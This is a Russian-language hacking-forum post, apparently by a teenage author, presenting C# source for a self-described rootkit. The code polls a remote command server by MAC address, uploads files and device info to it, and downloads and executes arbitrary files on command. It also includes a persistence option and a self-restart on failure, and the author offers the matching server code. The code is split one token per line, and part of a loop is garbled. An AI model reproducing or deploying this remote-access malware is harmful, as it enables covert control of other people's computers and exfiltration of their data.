PDA

Просмотр полной версии : SRKit - RootKit [Пишем свой RootKit]


d3l373d
20.10.2018, 17:30
Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa (https://forum.antichat.xyz/members/2587541/)и его темы об BotNet'e на С#.

Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.

Пока я напишу только каркас, и загрузку файла с последующим запуском.

А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:

C#:



namespace
Kernel
{
class
HTTPGet
{
public
static
string
Indication
(
)
{
HttpWebRequest
request
=
(
HttpWebRequest
)
WebRequest
.
Create
(
Config
.
RootKitServer
+
"/reception.php?"
+
"id="
+
Core
.
macAddresses
(
)
+
"&key="
+
Config
.
RootKitServerPassword
)
;
HttpWebResponse
response
=
(
HttpWebResponse
)
request
.
GetResponse
(
)
;
return
new
StreamReader
(
response
.
GetResponseStream
(
)
)
.
ReadToEnd
(
)
;
}
public
static
void
File
(
string
_file
,
string
dir
)
{
WebClient
myWebClient
=
new
WebClient
(
)
;
System.Uri
Site
=
new
Uri
(
Config
.
RootKitServer
+
@"/files/"
+
_file
)
;
myWebClient
.
DownloadFile
(
Site
,
dir
+
_file
)
;
}
}
class
HTTPSend
{
public
static
void
File
(
string
file
)
{
System.Net.WebClient
Client
=
new
System.Net.WebClient
(
)
;
Client
.
Headers
.
Add
(
"Content-Type"
,
"binary/octet-stream"
)
;
byte
[
]
result
=
Client
.
UploadFile
(
Config
.
RootKitServer
+
"/sfile.php?id="
+
Core
.
macAddresses
(
)
+
"&key="
+
Config
.
RootKitServerPassword
,
"POST"
,
file
)
;
string
s
=
System
.
Text
.
Encoding
.
UTF8
.
GetString
(
result
,
0
,
result
.
Length
)
;
}
public
static
void
Info
(
string
data
,
string
type
)
{
HttpWebRequest
request
=
(
HttpWebRequest
)
WebRequest
.
Create
(
Config
.
RootKitServer
+
"/dispatch.php?id="
+
Core
.
macAddresses
(
)
+
"&key="
+
Config
.
RootKitServerPassword
+
"&info="
+
data
)
;
HttpWebResponse
response
=
(
HttpWebResponse
)
request
.
GetResponse
(
)
;
}
}
}


Так то, тут 2 класса, так просто удобней работать.

Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:

C#:



public
static
string
macAddresses
(
)
{
string
macAddresses
=
""
;
foreach
(
NetworkInterface
nic
in
NetworkInterface
.
GetAllNetworkInterfaces
(
)
)
{
if
(
nic
.
OperationalStatus
==
OperationalStatus
.
Up
)
{
macAddresses
+=
nic
.
GetPhysicalAddress
(
)
.
ToString
(
)
;
break
;
}
}
return
macAddresses
;
}


А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:

C#:



public
static
bool
EmergencyCopy
(
)
{
string
filename
=
System
.
Diagnostics
.
Process
.
GetCurrentProcess
(
)
.
MainModule
.
FileName
;
string
name
=
filename
.
Substring
(
0
,
filename
.
IndexOf
(
'.'
)
)
;
Process
[
]
pr
=
Process
.
GetProcesses
(
)
;
int
count
=
0
;
for
(
int
i
=
0
;
i

1
)
{
return
true
;
}
else
{
return
false
;
}
;
}


Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:

C#:



static
void
Main
(
string
[
]
args
)
{
try
{
Thread
.
Sleep
(
Config
.
IntervalToStrart
)
;
if
(
EmergencyCopy
(
)
)
{
Environment
.
Exit
(
0
)
;
}
if
(
Config
.
persistence
)
{
startup
(
true
)
;
}
string
Indication
=
null
,
type
=
null
,
subtype
=
null
,
cmd
=
null
;
while
(
true
)
{
Thread
.
Sleep
(
Config
.
IntervalToGetInst
)
;
Indication
=
HTTPGet
.
Indication
(
)
;
if
(
Indication
!=
""
)
{
type
=
Indication
.
Substring
(
0
,
Indication
.
IndexOf
(
'.'
)
)
;
subtype
=
Indication
.
Substring
(
Indication
.
IndexOf
(
'.'
)
+
1
,
Indication
.
IndexOf
(
'='
)
-
Indication
.
IndexOf
(
'.'
)
-
1
)
;
cmd
=
Indication
.
Substring
(
Indication
.
IndexOf
(
'='
)
+
1
)
;
switch
(
type
)
{
case
"File"
:
switch
(
subtype
)
{
case
"Upload"
:
try
{
string
Fcmd
=
cmd
.
Substring
(
0
,
cmd
.
IndexOf
(
','
)
)
,
Scmd
=
cmd
.
Substring
(
cmd
.
IndexOf
(
','
)
+
1
)
;
//
HTTPGet
.
File
(
Fcmd
,
Scmd
)
;
//Dir, File
System
.
Diagnostics
.
Process
.
Start
(
Fcmd
+
Scmd
)
;
}
catch
{
HTTPSend
.
Info
(
"Error: Failed to upload file to device!"
,
"err"
)
;
}
break
;
}
break
;
}
}
}
}
catch
{
System
.
Diagnostics
.
Process
.
Start
(
Assembly
.
GetExecutingAssembly
(
)
.
Location
)
;
Environment
.
Exit
(
0
)
;
}
}


Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.

Думаю с Config файлом вы сможете и сами разобраться.